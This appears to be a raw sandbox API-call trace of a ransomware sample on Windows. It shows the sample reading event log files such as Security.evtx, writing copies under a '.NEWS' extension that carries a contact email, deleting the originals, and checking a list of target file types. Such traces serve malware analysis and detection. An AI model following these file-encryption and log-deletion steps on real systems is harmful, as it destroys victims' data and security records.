SetEndOfFile (hFile=0x2c4) returned 1 [0080.471] CloseHandle (hObject=0x2c4) returned 1 [0080.475] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.475] SetEndOfFile (hFile=0x38c) returned 1 [0080.476] CloseHandle (hObject=0x38c) returned 1 [0080.476] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.477] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0080.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.477] lstrlenW (lpString=".doc") returned 4 [0080.477] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.477] lstrlenW (lpString=".docx") returned 5 [0080.477] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.477] lstrlenW (lpString=".pdf") returned 4 [0080.477] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.477] lstrlenW (lpString=".xls") returned 4 [0080.477] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.477] lstrlenW (lpString=".xlsx") returned 5 [0080.477] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.478] lstrlenW (lpString=".ppt") returned 4 [0080.478] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.478] lstrlenW (lpString=".zip") returned 4 [0080.478] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString=".rar") returned 4 [0080.478] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString=".bz2") returned 4 [0080.478] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString=".7z") returned 3 [0080.478] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.478] lstrlenW (lpString=".dbf") returned 4 [0080.478] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.478] lstrlenW (lpString=".1cd") returned 4 [0080.478] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.478] lstrlenW (lpString=".jpg") returned 4 [0080.478] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.478] lstrlenW (lpString=".doc") returned 4 [0080.478] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString=".docx") returned 5 [0080.478] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.478] lstrlenW (lpString=".pdf") returned 4 [0080.478] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.478] lstrlenW (lpString=".xls") returned 4 [0080.478] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.479] lstrlenW (lpString=".xlsx") returned 5 [0080.479] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.479] lstrlenW (lpString=".ppt") returned 4 [0080.479] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.479] lstrlenW (lpString=".zip") returned 4 [0080.479] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.479] lstrlenW (lpString=".rar") returned 4 [0080.479] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.479] lstrlenW (lpString=".bz2") returned 4 [0080.479] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.479] lstrlenW (lpString=".7z") returned 3 [0080.479] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.479] lstrlenW (lpString=".dbf") returned 4 [0080.479] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.479] lstrlenW (lpString=".1cd") returned 4 [0080.479] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0080.479] lstrlenW (lpString=".jpg") returned 4 [0080.479] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.479] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.479] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0080.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.481] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0080.481] CloseHandle (hObject=0x38c) returned 1 [0080.481] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0080.481] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.481] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.481] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.481] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0080.482] GetLastError () returned 0x0 [0080.482] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.485] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.487] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.487] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x146, lpOverlapped=0x0) returned 1 [0080.487] SetEndOfFile (hFile=0x2c4) returned 1 [0080.488] CloseHandle (hObject=0x2c4) returned 1 [0080.490] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.490] SetEndOfFile (hFile=0x38c) returned 1 [0080.492] CloseHandle (hObject=0x38c) returned 1 [0080.492] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.492] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.493] lstrlenW (lpString=".doc") returned 4 [0080.493] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString=".docx") returned 5 [0080.493] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.493] lstrlenW (lpString=".pdf") returned 4 [0080.493] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString=".xls") returned 4 [0080.493] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString=".xlsx") returned 5 [0080.493] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.493] lstrlenW (lpString=".ppt") returned 4 [0080.493] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.493] lstrlenW (lpString=".zip") returned 4 [0080.493] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString=".rar") returned 4 [0080.493] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString=".bz2") returned 4 [0080.493] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString=".7z") returned 3 [0080.493] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.493] lstrlenW (lpString=".dbf") returned 4 [0080.493] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.493] lstrlenW (lpString=".1cd") returned 4 [0080.493] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.494] lstrlenW (lpString=".jpg") returned 4 [0080.494] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.494] lstrlenW (lpString=".doc") returned 4 [0080.494] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.494] lstrlenW (lpString=".docx") returned 5 [0080.494] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.494] lstrlenW (lpString=".pdf") returned 4 [0080.494] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.494] lstrlenW (lpString=".xls") returned 4 [0080.494] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.494] lstrlenW (lpString=".xlsx") returned 5 [0080.494] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.494] lstrlenW (lpString=".ppt") returned 4 [0080.494] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.494] lstrlenW (lpString=".zip") returned 4 [0080.494] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.494] lstrlenW (lpString=".rar") returned 4 [0080.494] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.494] lstrlenW (lpString=".bz2") returned 4 [0080.494] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.494] lstrlenW (lpString=".7z") returned 3 [0080.494] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.495] lstrlenW (lpString=".dbf") returned 4 [0080.495] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.495] lstrlenW (lpString=".1cd") returned 4 [0080.495] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0080.495] lstrlenW (lpString=".jpg") returned 4 [0080.495] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.495] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.495] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0080.495] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.495] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0080.495] CloseHandle (hObject=0x38c) returned 1 [0080.496] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0080.496] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.496] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.496] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0080.496] GetLastError () returned 0x0 [0080.496] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.822] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.824] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.824] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x128, lpOverlapped=0x0) returned 1 [0080.824] SetEndOfFile (hFile=0x2c4) returned 1 [0080.824] CloseHandle (hObject=0x2c4) returned 1 [0080.828] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.829] SetEndOfFile (hFile=0x38c) returned 1 [0080.830] CloseHandle (hObject=0x38c) returned 1 [0080.830] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.830] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0080.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.830] lstrlenW (lpString=".doc") returned 4 [0080.830] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString=".docx") returned 5 [0080.831] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.831] lstrlenW (lpString=".pdf") returned 4 [0080.831] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString=".xls") returned 4 [0080.831] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString=".xlsx") returned 5 [0080.831] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.831] lstrlenW (lpString=".ppt") returned 4 [0080.831] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.831] lstrlenW (lpString=".zip") returned 4 [0080.831] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString=".rar") returned 4 [0080.831] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString=".bz2") returned 4 [0080.831] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString=".7z") returned 3 [0080.831] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.831] lstrlenW (lpString=".dbf") returned 4 [0080.831] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.831] lstrlenW (lpString=".1cd") returned 4 [0080.831] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.831] lstrlenW (lpString=".jpg") returned 4 [0080.831] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.831] lstrlenW (lpString=".doc") returned 4 [0080.831] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.831] lstrlenW (lpString=".docx") returned 5 [0080.831] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.831] lstrlenW (lpString=".pdf") returned 4 [0080.831] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.832] lstrlenW (lpString=".xls") returned 4 [0080.832] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.832] lstrlenW (lpString=".xlsx") returned 5 [0080.832] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.832] lstrlenW (lpString=".ppt") returned 4 [0080.832] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.832] lstrlenW (lpString=".zip") returned 4 [0080.832] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.832] lstrlenW (lpString=".rar") returned 4 [0080.832] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.832] lstrlenW (lpString=".bz2") returned 4 [0080.832] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.832] lstrlenW (lpString=".7z") returned 3 [0080.832] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.832] lstrlenW (lpString=".dbf") returned 4 [0080.832] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.832] lstrlenW (lpString=".1cd") returned 4 [0080.832] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0080.832] lstrlenW (lpString=".jpg") returned 4 [0080.832] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.832] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.833] lstrlenW (lpString="Security.evtx") returned 13 [0080.833] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.833] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1118208) returned 1 [0080.833] CloseHandle (hObject=0x38c) returned 1 [0080.833] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0080.833] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\security.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.833] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.833] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.833] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.833] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\security.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0080.834] GetLastError () returned 0x0 [0080.834] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0080.856] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0081.060] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11010, lpOverlapped=0x0) returned 1 [0081.070] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11020, lpOverlapped=0x0) returned 1 [0081.074] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.074] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xee, lpOverlapped=0x0) returned 1 [0081.074] SetEndOfFile (hFile=0x2c4) returned 1 [0081.074] CloseHandle (hObject=0x2c4) returned 1 [0081.413] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.413] SetEndOfFile (hFile=0x38c) returned 1 [0081.414] CloseHandle (hObject=0x38c) returned 1 [0081.414] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.414] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0081.415] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.415] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0081.415] lstrlenW (lpString=".doc") returned 4 [0081.415] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString=".docx") returned 5 [0081.415] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.415] lstrlenW (lpString=".pdf") returned 4 [0081.415] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.415] lstrlenW (lpString=".xls") returned 4 [0081.415] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 